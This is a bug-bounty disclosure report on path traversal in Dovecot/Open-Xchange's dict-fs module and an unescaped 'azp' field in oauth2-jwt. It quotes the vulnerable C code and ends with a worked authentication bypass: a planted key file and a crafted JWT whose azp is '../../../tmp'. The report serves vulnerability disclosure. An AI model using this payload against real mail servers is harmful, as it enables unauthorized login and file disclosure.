Lucene search

K
hackeroneNorthseaH1:1132160
HistoryMar 22, 2021 - 9:56 a.m.

Open-Xchange: Path Traversal in dict-fs and no-check Escape Character in oauth2-jwt

2021-03-2209:56:04
northsea
hackerone.com
$982
21
path traversal
escape character
oauth2-jwt
get authorized
oauth2
authentication
vulnerability
open-xchange
exploit
fs module
dictionary module
jwt
dict module

EPSS

0.001

Percentile

17.5%

0x01 Path Traversal in dict-fs module

If we use fs to store dictionaries, when program get the value of key:

static int fs_dict_lookup(struct dict *_dict, pool_t pool, const char *key,
			  const char **value_r, const char**error_r)
{
	struct fs_dict *dict = (struct fs_dict *)_dict;
	struct fs_file *file;
	struct istream *input;
	const unsigned char *data;
	size_t size;
	const char *path;
	string_t *str;
	int ret;

	path = fs_dict_get_full_key(dict, key);
	file = fs_file_init(dict->fs, path, FS_OPEN_MODE_READONLY);
	input = fs_read_stream(file, IO_BLOCK_SIZE);
	......
}

The function fs_dict_lookup will directly use the string of the key as a file_path to read key file, which will lead to a Path Traversal. In some cases, it will leak some important files in the system.

0x02 Using “azp” field without checking Escape Character in oauth2-jwt

When the program parses the jwt request and checks the signature:

int oauth2_try_parse_jwt(const struct oauth2_settings *set,
			 const char *token, ARRAY_TYPE(oauth2_field) *fields,
			 bool *is_jwt_r, const char **error_r)
{
......
......
	size_t pos = strcspn(kid, "./%");
	if (pos < strlen(kid)) {
		/* sanitize kid, cannot allow dots or / in it, so we encode them
		 */
		string_t *new_kid = t_str_new(strlen(kid));
		/* put initial data */
		str_append_data(new_kid, kid, pos);
		for (const char *c = kid+pos; *c != '\0'; c++) {
			switch (*c) {
			case '.':
				str_append(new_kid, "%2e");
				break;
			case '/':
				str_append(new_kid, "%2f");
				break;
			case '%':
				str_append(new_kid, "%25");
				break;
			default:
				str_append_c(new_kid, *c);
				break;
			}
		}
		kid = str_c(new_kid);
	}
......
......
}

static int
oauth2_jwt_body_process(const struct oauth2_settings *set, const char *alg,
			const char *kid, ARRAY_TYPE(oauth2_field) *fields,
			struct json_tree *tree, const char *const *blobs,
			const char **error_r)
{
	.......
	/* see if there is azp */
	const char *azp = get_field(tree, "azp");
	if (azp == NULL)
		azp = "default";

	if (oauth2_validate_signature(set, azp, alg, kid, blobs, error_r) < 0)
		return -1;

	oauth2_jwt_copy_fields(fields, tree);
	return 0;
}

The function oauth2_try_parse_jwt will encode the “key” field but directly use “azp” field, after that, it will call oauth2_lookup_pubkey/oauth2_lookup_hmac_key:

	lookup_key = t_strconcat(DICT_PATH_SHARED, azp, "/", alg, "/", key_id,
				 NULL);
	if ((ret = dict_lookup(set->key_dict, pool_datastack_create(),
			       lookup_key, &base64_key, error_r)) < 0) {
		return -1;
	} else if (ret == 0) {
		*error_r = t_strdup_printf("%s key '%s' not found",
					   alg, key_id);
		return -1;
	}

The fields will be spliced directly and used as key to call dict_lookup function.
This provides a way to construct arbitrary strings as a key to use dict module.
Fortunately, there is an escape character check / map check in dict-sql/redis/ladp… , but we can exploit it with dict-fs module[0x03].
I think using this field will become an easy way to be used in the future for attackers to break the dict module and complete the exploit.

0x03 GET Authorized

If users enable the oauth2 module and use:

introspection_mode = local
local_validation_key_dict = fs:posix:prefix=/etc/dovecot/keys/

as an authentication way.
And if attackers can write a fake dict-key file in filesystem, like:

/tmp/HS512/default:
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMQ==

Attackers can bypass the oauth2 with a specially crafted jwt message, like that:

{
  "alg": "HS512",
  "typ": "JWT"
}
{
  "sub": "username",
  "iat": 1616400286,
  "exp": 1616400886,
  "azp": "../../../tmp",
  "email": "username"
}
......(signature)

with azp like “…/…/…/tmp”, it will cause the Path Traversal in dict-fs module, so that attackers can control the key which be used to verify the jwt request, then bypass the oauth2 and login in.

Impact

The Path Traversal will leak arbitrary files in the system when users use dict-fs module in some cases.
And using “azp” field without checking Escape Character in oauth2-jwt will be more conducive for attackers to exploit the dict module. As the exploit in 0x03, attackers can bypass the oauth2 if they can write a key file to filesystem.
There is a successfully exploit in Screenshot (in the attachment).